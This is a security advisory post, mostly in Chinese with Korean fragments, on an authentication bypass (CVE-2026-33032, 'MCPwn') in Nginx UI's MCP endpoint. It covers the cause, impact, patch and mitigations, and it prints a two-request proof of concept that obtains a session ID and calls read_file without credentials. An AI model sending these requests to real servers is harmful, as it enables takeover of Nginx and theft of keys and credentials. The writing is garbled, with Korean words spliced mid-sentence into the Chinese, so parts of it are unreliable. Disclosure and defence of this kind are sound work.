Nginx UI 인증 우회 취약점 (CVE-2026-33032 / MCPwn)

취약점의 핵심은 경로 등록의 논리적 오류로 인한 것입니다. /mcp 엔드포인트는 AuthRequired() 미들웨어로 보호되지만 실제 도구 호출에 대한 지침을 수신하는 데 사용되는 쌍을 이루는 /mcp_message 엔드포인트는 해당 인증 미들웨어 없이 배포됩니다. 따라서 이 UI에 네트워크 액세스 권한이 있는 공격자는 아무런 자격 증명 없이도 Nginx 서비스를 장악할 수 있습니다.

1. 漏洞描述

Nginx UI 是一款广泛使用的开源 Nginx 图形化管理工具。在其集成的 MCP (Model Context Protocol) 接口中,存在一个由于代码实现疏忽导致的严重身份验证绕过漏洞,代号为 MCPwn,编号为 CVE-2026-33032.
该漏洞的核心原因在于路由注册时的逻辑错误:/mcp 端点受到 AuthRequired() 中间件保护,但其配对的、用于接收实际工具调用指令的 /mcp_message 端点在部署时缺失了该认证中间件。这使得任何能够通过网络访问该 UI 的攻击者,都可以在无需任何凭据的情况下接管 Nginx 服务。

2. 漏洞影响

CVE 编号:CVE-2026-33032
代号:MCPwn
CVSS 3.1 评分:9.8 (Critical) (向量:AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
취약점 유형:身份验证绕过 (CWE-306)
영향을 받는 버전:nginx-ui < 2.3.4
개정:nginx-ui ≥ 2.3.4
技术影响:
任意配置修改통해 edit_config 工具重写服务器块,插入攻击者控制的上游服务器。
服务接管통해 reload_nginx 立即生效恶意配置,或通过 stop_nginx 造成拒绝服务(DoS)。
敏感信息泄露:利用 read_file 工具读取 TLS 私钥、系统凭据等敏感文件。
持久化控制:攻击者可利用 create_cert 重新颁发受控证书,或结合其他漏洞实现长期潜伏。

3. 漏洞 POC (Proof of Concept)

攻击链极为简洁,仅需两次 HTTP 请求即可完成接管:

步骤 1:获取会话 ID (Session ID)

攻击者向未受限的 SSE 流端点发起请求,获取执行后续指令所需的会话标识。
GET /mcp HTTP/1.1 Host: <target>:9000
预期响应:返回包含 sessionID=XYZ 的数据流 。

步骤 2:执行高权限工具指令

利用获取的 sessionID/mcp_message 发送 JSON-RPC 调用,例如读取敏感文件:
POST /mcp_message?sessionID=XYZ 
HTTP/1.1 
Host: <target>:9000 
Content-Type: application/json 
{ "jsonrpc": "2.0", "method": "read_file", "params": { "path": "/etc/nginx/nginx.conf" }, "id": 1 }

漏洞利用链 (Chain )

该漏洞常与 CVE-2026-27944(未授权备份下载漏洞)组合使用。后者可泄露 node_secret,即使在修复了 33032 漏洞后,若未及时轮换该密钥,攻击者仍可维持对 MCP 接口的访问权限。

4. 修复建议或方案

4.1 核心修复

立即升级:将 nginx-ui 升级至 2.3.4 或更高版本。官方补丁已在路由注册中补齐了 AuthRequired() 调用。
// 修复后的代码片段
r.POST("/mcp_message", AuthRequired(), mcpMessageHandler)

4.2 缓解与加固

端口隔离:切勿将 nginx-ui 管理端口(默认 9000)直接暴露于公网,应使用 VPN、堡垒机或防火墙(白名单策略)进行访问控制。
禁用功能:若无需 AI 辅助管理,可在配置文件中彻底禁用 MCP 模块。
密钥轮换:升级后,务必轮换 node_secret、SSL 私钥及所有存储在面板内的敏感凭据。

4.3 检测手段

自动化检测:可使用 keraattin/CVE-2026-33032 提供的 Python 脚本或 Nmap NSE 插件进行非破坏性检测。

5. 참고 인용

原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/kr/nginx-ui-mcp-authentication-bypass.html

좋아요 (0)
이전 게시물 2026년 음력 2월 21일 오전9:21
다음 2023년 3월 20일 오후 10:33

답글 남기기

제발 로그인 댓글 달기